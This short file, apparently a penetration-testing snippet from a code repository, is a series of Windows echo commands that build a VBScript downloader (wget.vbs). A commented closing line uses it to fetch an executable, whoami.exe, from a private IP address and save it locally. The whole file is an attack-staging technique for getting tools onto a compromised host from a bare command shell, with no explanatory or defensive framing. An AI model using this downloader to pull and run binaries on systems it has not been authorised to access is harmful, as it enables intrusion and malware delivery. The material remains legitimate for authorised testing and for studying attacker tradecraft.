29 lines
1.4 KiB
Plaintext
29 lines
1.4 KiB
Plaintext
|
echo strUrl=WScript.Arguments.Item(0)>wget.vbs
|
||
|
|
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
|
||
|
|
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
|
||
|
|
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
|
||
|
|
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
|
||
|
|
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
|
||
|
|
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >>wget.vbs
|
||
|
|
echo Err.Clear >> wget.vbs
|
||
|
|
echo Set http = Nothing >> wget.vbs
|
||
|
|
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
|
||
|
|
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
|
||
|
|
echo If http IS Nothing Then Set http = CreateObject("MSXML.ServerXMLHTTP") >> wget.vbs
|
||
|
|
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
|
||
|
|
echo http.Open "GET", strURL, False >> wget.vbs
|
||
|
|
echo http.Send >> wget.vbs
|
||
|
|
echo varByteArray = http.ResponseBody >> wget.vbs
|
||
|
|
echo Set http = Nothing >> wget.vbs
|
||
|
|
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
|
||
|
|
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
|
||
|
|
echo strData = "" >>wget.vbs
|
||
|
|
echo strBuffer = "" >>wget.vbs
|
||
|
|
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
|
||
|
|
echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbs
|
||
|
|
echo Next >>wget.vbs
|
||
|
|
echo ts.Close >> wget.vbs
|
||
|
|
|
||
|
|
|
||
|
|
# echo cscript wget.vbs http://10.1.131.66/whoami.exe w1.exe
|